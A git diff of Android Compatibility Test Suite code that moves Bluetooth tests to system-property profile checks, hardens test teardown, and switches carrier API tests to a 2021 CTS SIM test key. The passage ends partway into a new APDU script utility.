--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
@@ -58,7 +58,11 @@
private static final int TEST_PRESENTATION_DELAY_MS = 345;
private static final int TEST_CODEC_ID = 42;
- private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {};
+ private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+ new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+ .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+ .build()
+ };
// For BluetoothLeAudioCodecConfigMetadata
private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
@@ -92,18 +96,16 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -112,7 +114,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
index cc28740..8f9b0f7 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
@@ -87,18 +87,16 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -107,7 +105,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
@@ -175,6 +175,7 @@
out.writeInt(numSubgroups);
out.writeList(bisSyncState);
out.writeTypedList(subgroupMetadata);
+ out.setDataPosition(0); // reset position of parcel before passing to constructor
return BluetoothLeBroadcastReceiveState.CREATOR.createFromParcel(out);
}
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
index 910e55d..7279ef6 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
@@ -21,7 +21,6 @@
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
@@ -49,7 +48,11 @@
@SmallTest
public class BluetoothLeBroadcastSubgroupTest {
private static final int TEST_CODEC_ID = 42;
- private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {};
+ private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+ new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+ .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+ .build()
+ };
// For BluetoothLeAudioCodecConfigMetadata
private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
@@ -83,18 +86,16 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
if (mIsBroadcastAssistantSupported) {
boolean isBroadcastAssistantEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
assertTrue("Config must be true when profile is supported",
isBroadcastAssistantEnabledInConfig);
}
mIsBroadcastSourceSupported =
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
- if (!mIsBroadcastSourceSupported) {
+ if (mIsBroadcastSourceSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(
- BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
@@ -103,7 +104,9 @@
@After
public void tearDown() {
if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
TestUtils.dropPermissionAsShellUid();
}
@@ -131,7 +134,7 @@
assertEquals(TEST_CODEC_ID, subgroup.getCodecId());
assertEquals(codecMetadata, subgroup.getCodecSpecificConfig());
assertEquals(contentMetadata, subgroup.getContentMetadata());
- assertFalse(subgroup.hasChannelPreference());
+ assertTrue(subgroup.hasChannelPreference());
assertArrayEquals(TEST_CHANNELS,
subgroup.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
builder.clearChannel();
@@ -163,7 +166,7 @@
assertEquals(TEST_CODEC_ID, subgroupCopy.getCodecId());
assertEquals(codecMetadata, subgroupCopy.getCodecSpecificConfig());
assertEquals(contentMetadata, subgroupCopy.getContentMetadata());
- assertFalse(subgroupCopy.hasChannelPreference());
+ assertTrue(subgroupCopy.hasChannelPreference());
assertArrayEquals(TEST_CHANNELS,
subgroupCopy.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
builder.clearChannel();
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
index ad43793..e70d6ba 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
@@ -176,7 +176,7 @@
mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
if (mIsLeBroadcastSupported) {
boolean isBroadcastSourceEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO_BROADCAST);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
assertTrue("Config must be true when profile is supported",
isBroadcastSourceEnabledInConfig);
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
index 29d9bd5..1f220cd 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
@@ -27,7 +27,6 @@
import android.bluetooth.BluetoothProfile;
import android.bluetooth.BluetoothSap;
import android.content.pm.PackageManager;
-import android.sysprop.BluetoothProperties;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
@@ -62,7 +61,7 @@
if (!mHasBluetooth) return;
- mIsSapSupported = BluetoothProperties.isProfileSapServerEnabled().orElse(false);
+ mIsSapSupported = TestUtils.isProfileEnabled(BluetoothProfile.SAP);
if (!mIsSapSupported) return;
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -90,7 +89,9 @@
mIsProfileReady = false;
}
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mUiAutomation.dropShellPermissionIdentity();
mAdapter = null;
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
index b6d20ec..34a4c66 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
@@ -21,20 +21,17 @@
import static org.junit.Assert.assertThrows;
-import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
-import android.bluetooth.BluetoothVolumeControl;
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.bluetooth.BluetoothVolumeControl;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.os.Build;
import android.test.AndroidTestCase;
import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-
import com.android.compatibility.common.util.ApiLevelUtil;
import java.util.List;
@@ -92,10 +89,11 @@
mBluetoothVolumeControl = null;
boolean isLeAudioSupportedInConfig =
- TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
boolean isVolumeControlEnabledInConfig =
- TestUtils.getProfileConfigValueOrDie(BluetoothProfile.VOLUME_CONTROL);
+ TestUtils.isProfileEnabled(BluetoothProfile.VOLUME_CONTROL);
if (isLeAudioSupportedInConfig) {
+ assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
/* If Le Audio is supported then Volume Control shall be supported */
assertTrue("Config must be true when profile is supported",
isVolumeControlEnabledInConfig);
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
index 570633e..45cf44c 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
@@ -83,6 +83,9 @@
if (!isBleSupported()) return;
mIsBleSupported = true;
+ mIsHearingAidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEARING_AID);
+ if (!mIsHearingAidSupported) return;
+
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
@@ -95,17 +98,18 @@
mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
mIsProfileReady = false;
mService = null;
- mIsHearingAidSupported = mBluetoothAdapter.getProfileProxy(getContext(),
- new HearingAidsServiceListener(),
- BluetoothProfile.HEARING_AID);
- if (!mIsHearingAidSupported) return;
+ mBluetoothAdapter.getProfileProxy(getContext(), new HearingAidsServiceListener(),
+ BluetoothProfile.HEARING_AID);
}
@Override
public void tearDown() {
- if (!mIsBleSupported) return;
-
- assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+ if (!(mIsBleSupported && mIsHearingAidSupported)) {
+ return;
+ }
+ if (mBluetoothAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+ }
mUiAutomation.dropShellPermissionIdentity();
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
index d152d84..62d1c6a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/LeL2capSocketTest.java
@@ -51,7 +51,9 @@
if (!TestUtils.isBleSupported(getContext())) {
return;
}
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
mAdapter = null;
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
index a0ed839..f3527fa 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/TestUtils.java
@@ -16,9 +16,7 @@
package android.bluetooth.cts;
-import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
import android.annotation.NonNull;
import android.annotation.Nullable;
@@ -28,8 +26,8 @@
import android.bluetooth.le.ScanRecord;
import android.content.Context;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.provider.Settings;
+import android.sysprop.BluetoothProperties;
import android.util.Log;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -50,93 +48,6 @@
static final String BLUETOOTH_PACKAGE_NAME = "com.android.bluetooth";
/**
- * Get the Config.xml name tag for a particular Bluetooth profile
- * @param profile profile id from {@link BluetoothProfile}
- * @return config name tag, or null if the tag name is not available
- */
- @Nullable static String profileIdToConfigTag(int profile) {
- switch (profile) {
- case BluetoothProfile.A2DP:
- return "profile_supported_a2dp";
- case BluetoothProfile.A2DP_SINK:
- return "profile_supported_a2dp_sink";
- case BluetoothProfile.HEADSET:
- return "profile_supported_hs_hfp";
- case BluetoothProfile.HEADSET_CLIENT:
- return "profile_supported_hfpclient";
- case BluetoothProfile.HID_HOST:
- return "profile_supported_hid_host";
- case BluetoothProfile.OPP:
- return "profile_supported_opp";
- case BluetoothProfile.PAN:
- return "profile_supported_pan";
- case BluetoothProfile.PBAP:
- return "profile_supported_pbap";
- case BluetoothProfile.GATT:
- return "profile_supported_gatt";
- case BluetoothProfile.MAP:
- return "profile_supported_map";
- // Hidden profile
- // case BluetoothProfile.AVRCP:
- // return "profile_supported_avrcp_target";
- case BluetoothProfile.AVRCP_CONTROLLER:
- return "profile_supported_avrcp_controller";
- case BluetoothProfile.SAP:
- return "profile_supported_sap";
- case BluetoothProfile.PBAP_CLIENT:
- return "profile_supported_pbapclient";
- case BluetoothProfile.MAP_CLIENT:
- return "profile_supported_mapmce";
- case BluetoothProfile.HID_DEVICE:
- return "profile_supported_hid_device";
- case BluetoothProfile.LE_AUDIO:
- return "profile_supported_le_audio";
- case BluetoothProfile.LE_AUDIO_BROADCAST:
- return "profile_supported_le_audio_broadcast";
- case BluetoothProfile.VOLUME_CONTROL:
- return "profile_supported_vc";
- // Hidden profile
- // case BluetoothProfile.MCP_SERVER:
- // return "profile_supported_mcp_server";
- case BluetoothProfile.CSIP_SET_COORDINATOR:
- return "profile_supported_csip_set_coordinator";
- // Hidden profile
- // case BluetoothProfile.LE_CALL_CONTROL:
- // return "profile_supported_le_call_control";
- case BluetoothProfile.HAP_CLIENT:
- return "profile_supported_hap_client";
- case BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT:
- return "profile_supported_bass_client";
- default:
- return null;
- }
- }
-
- /**
- * Checks if a particular Bluetooth profile is configured for this device
- * Fail the test if profile config status cannot be obtained
- */
- static boolean getProfileConfigValueOrDie(int profile) {
- String profileConfigValueTag = profileIdToConfigTag(profile);
- assertNotNull(profileConfigValueTag);
- assertNotEquals("profile tag cannot be empty", 0, profileConfigValueTag.length());
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- Resources bluetoothResources = null;
- try {
- bluetoothResources = context.getPackageManager().getResourcesForApplication(
- BLUETOOTH_PACKAGE_NAME);
- } catch (PackageManager.NameNotFoundException e) {
- fail("Cannot get Bluetooth package resource");
- }
- int resourceId = bluetoothResources.getIdentifier(
- profileConfigValueTag, "bool", BLUETOOTH_PACKAGE_NAME);
- if (resourceId == 0) {
- return false;
- }
- return bluetoothResources.getBoolean(resourceId);
- }
-
- /**
* Checks whether this device has Bluetooth feature
* @return true if this device has Bluetooth feature
*/
@@ -147,6 +58,70 @@
}
/**
+ * Get the current enabled status of a given profile
+ */
+ static boolean isProfileEnabled(int profile) {
+ switch (profile) {
+ case BluetoothProfile.A2DP:
+ return BluetoothProperties.isProfileA2dpSourceEnabled().orElse(false);
+ case BluetoothProfile.A2DP_SINK:
+ return BluetoothProperties.isProfileA2dpSinkEnabled().orElse(false);
+ // Hidden profile
+ // case BluetoothProfile.AVRCP:
+ // return BluetoothProperties.isProfileAvrcpTargetEnabled().orElse(false);
+ case BluetoothProfile.AVRCP_CONTROLLER:
+ return BluetoothProperties.isProfileAvrcpControllerEnabled().orElse(false);
+ case BluetoothProfile.CSIP_SET_COORDINATOR:
+ return BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false);
+ case BluetoothProfile.GATT:
+ return BluetoothProperties.isProfileGattEnabled().orElse(true);
+ case BluetoothProfile.HAP_CLIENT:
+ return BluetoothProperties.isProfileHapClientEnabled().orElse(false);
+ case BluetoothProfile.HEADSET:
+ return BluetoothProperties.isProfileHfpAgEnabled().orElse(false);
+ case BluetoothProfile.HEADSET_CLIENT:
+ return BluetoothProperties.isProfileHfpHfEnabled().orElse(false);
+ case BluetoothProfile.HEARING_AID:
+ return BluetoothProperties.isProfileAshaCentralEnabled().orElse(false);
+ case BluetoothProfile.HID_DEVICE:
+ return BluetoothProperties.isProfileHidDeviceEnabled().orElse(false);
+ case BluetoothProfile.HID_HOST:
+ return BluetoothProperties.isProfileHidHostEnabled().orElse(false);
+ case BluetoothProfile.LE_AUDIO:
+ return BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false);
+ case BluetoothProfile.LE_AUDIO_BROADCAST:
+ return BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false);
+ case BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT:
+ return BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false);
+ // Hidden profile
+ // case BluetoothProfile.LE_CALL_CONTROL:
+ // return BluetoothProperties.isProfileCcpServerEnabled().orElse(false);
+ case BluetoothProfile.MAP:
+ return BluetoothProperties.isProfileMapServerEnabled().orElse(false);
+ case BluetoothProfile.MAP_CLIENT:
+ return BluetoothProperties.isProfileMapClientEnabled().orElse(false);
+ // Hidden profile
+ // case BluetoothProfile.MCP_SERVER:
+ // return BluetoothProperties.isProfileMcpServerEnabled().orElse(false);
+ case BluetoothProfile.OPP:
+ return BluetoothProperties.isProfileOppEnabled().orElse(false);
+ case BluetoothProfile.PAN:
+ return BluetoothProperties.isProfilePanNapEnabled().orElse(false)
+ || BluetoothProperties.isProfilePanPanuEnabled().orElse(false);
+ case BluetoothProfile.PBAP:
+ return BluetoothProperties.isProfilePbapServerEnabled().orElse(false);
+ case BluetoothProfile.PBAP_CLIENT:
+ return BluetoothProperties.isProfilePbapClientEnabled().orElse(false);
+ case BluetoothProfile.SAP:
+ return BluetoothProperties.isProfileSapServerEnabled().orElse(false);
+ case BluetoothProfile.VOLUME_CONTROL:
+ return BluetoothProperties.isProfileVcpControllerEnabled().orElse(false);
+ default:
+ return false;
+ }
+ }
+
+ /**
* Adopt shell UID's permission via {@link android.app.UiAutomation}
* @param permission permission to adopt
*/
@@ -258,4 +233,4 @@
Log.e(TestUtils.class.getSimpleName(), "interrupted", e);
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/car/OWNERS b/tests/tests/car/OWNERS
index cdff026..bda2116 100644
--- a/tests/tests/car/OWNERS
+++ b/tests/tests/car/OWNERS
@@ -1,6 +1,2 @@
# Bug component: 526266
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
-nicksauer@google.com
-sgurun@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 32b10e5..2c2e66f 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -37,9 +37,12 @@
"android.test.base",
"android.test.runner",
],
- // This APK must be signed to match the test SIM's cert whitelist.
- // While "testkey" is the default, there are different per-device testkeys, so
- // hard-code the AOSP default key to ensure it is used regardless of build
+ host_required: [
+ "CtsCarrierApiTargetPrep",
+ "cts-tradefed",
+ ],
+ // This APK must be signed to match the test SIM's carrier privilege rules.
+ // Hard-code the CTS SIM's test key to ensure it is used regardless of build
// environment.
- certificate: ":aosp-testkey",
+ certificate: ":cts-uicc-2021-testkey",
}
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index 591e80d..60e0638 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -26,6 +26,11 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCarrierApiTestCases.apk" />
</target_preparer>
+ <target_preparer class="android.carrierapi.cts.targetprep.CarrierApiPreparer">
+ <!-- Custom setup to ensure the CTS SIM matches expected content -->
+ <option name="apk" value="CtsCarrierApiTargetPrepApp.apk" />
+ <option name="package" value="android.carrierapi.cts.targetprep" />
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.carrierapi.cts" />
</test>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
index b0b6504..ee1d702 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BaseCarrierApiTest.java
@@ -16,6 +16,8 @@
package android.carrierapi.cts;
+import static com.android.compatibility.common.util.UiccUtil.UiccCertificate.CTS_UICC_LEGACY;
+
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assume.assumeTrue;
@@ -26,6 +28,7 @@
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.UiccUtil;
import org.junit.Before;
@@ -45,6 +48,18 @@
protected static final String NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE =
"This test requires a SIM card with carrier privilege rules on it.\n"
+ "Visit https://source.android.com/devices/tech/config/uicc.html";
+ // More specific message when the test suite detects an outdated legacy SIM.
+ private static final String DEPRECATED_TEST_SIM_FAILURE_MESSAGE =
+ "This test requires a 2021-compliant SIM card with carrier privilege rules on it.\n"
+ + "The current SIM card appears to be outdated and is not compliant with the 2021"
+ + " CTS SIM specification published with Android 12 (\"S\").\n"
+ + "As of Android 13 (\"T\"), you must use a 2021-compliant SIM card to pass this"
+ + " suite. The 2021-compliant SIM is backward compatible with the legacy"
+ + " specification, so it may also be used to run this suite on older Android"
+ + " releases.\n"
+ + "2021-compliant SIMs received directly from Google have \"2021 CTS\" printed on"
+ + " them.\n"
+ + "Visit https://source.android.com/devices/tech/config/uicc#prepare_uicc";
protected Context getContext() {
return InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -74,8 +89,15 @@
+ getClass().getSimpleName()
+ " cases will be skipped",
FeatureUtil.hasTelephony());
- // We must run with carrier privileges.
- assertWithMessage(NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
+ // We must run with carrier privileges. As of 2022, all devices must run CTS with a SIM
+ // compliant with the 2021 spec, which has a new certificate. To make results very clear, we
+ // still explicitly check for the legacy certificate, and if we don't have carrier
+ // privileges but detect the legacy cert, we tell the tester they must upgrade to pass this
+ // test suite.
+ assertWithMessage(
+ UiccUtil.uiccHasCertificate(CTS_UICC_LEGACY)
+ ? DEPRECATED_TEST_SIM_FAILURE_MESSAGE
+ : NO_CARRIER_PRIVILEGES_FAILURE_MESSAGE)
.that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
.isTrue();
mPreconditionsSatisfied = true;
diff --git a/hostsidetests/tzdata/Android.bp b/tests/tests/carrierapi/targetprep/device/Android.bp
similarity index 69%
copy from hostsidetests/tzdata/Android.bp
copy to tests/tests/carrierapi/targetprep/device/Android.bp
index be847bd..8d054b7 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/tests/tests/carrierapi/targetprep/device/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -16,20 +16,23 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-java_test_host {
- name: "CtsHostTzDataTests",
+android_test_helper_app {
+ name: "CtsCarrierApiTargetPrepApp",
defaults: ["cts_defaults"],
- // Only compile source java files in this apk.
srcs: ["src/**/*.java"],
- libs: ["tradefed"],
static_libs: [
- "tzdata-testing",
- "time_zone_distro",
- "time_zone_distro_builder",
+ "androidx.annotation_annotation",
+ "androidx.test.runner",
+ "compatibility-device-util-axt",
+ "junit",
+ "truth-prebuilt",
],
+ libs: [],
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
],
+ sdk_version: "test_current",
+ certificate: ":cts-uicc-2021-testkey",
}
diff --git a/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
new file mode 100644
index 0000000..9251279
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.carrierapi.cts.targetprep">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.carrierapi.cts.targetprep" />
+</manifest>
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
new file mode 100644
index 0000000..5793fe2
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccSlotMapping;
+import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+import com.android.compatibility.common.util.UiccUtil.ApduResponse;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+class ApduScriptUtil {
+ private static final String TAG = "ApduScriptUtil";
+
+ private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
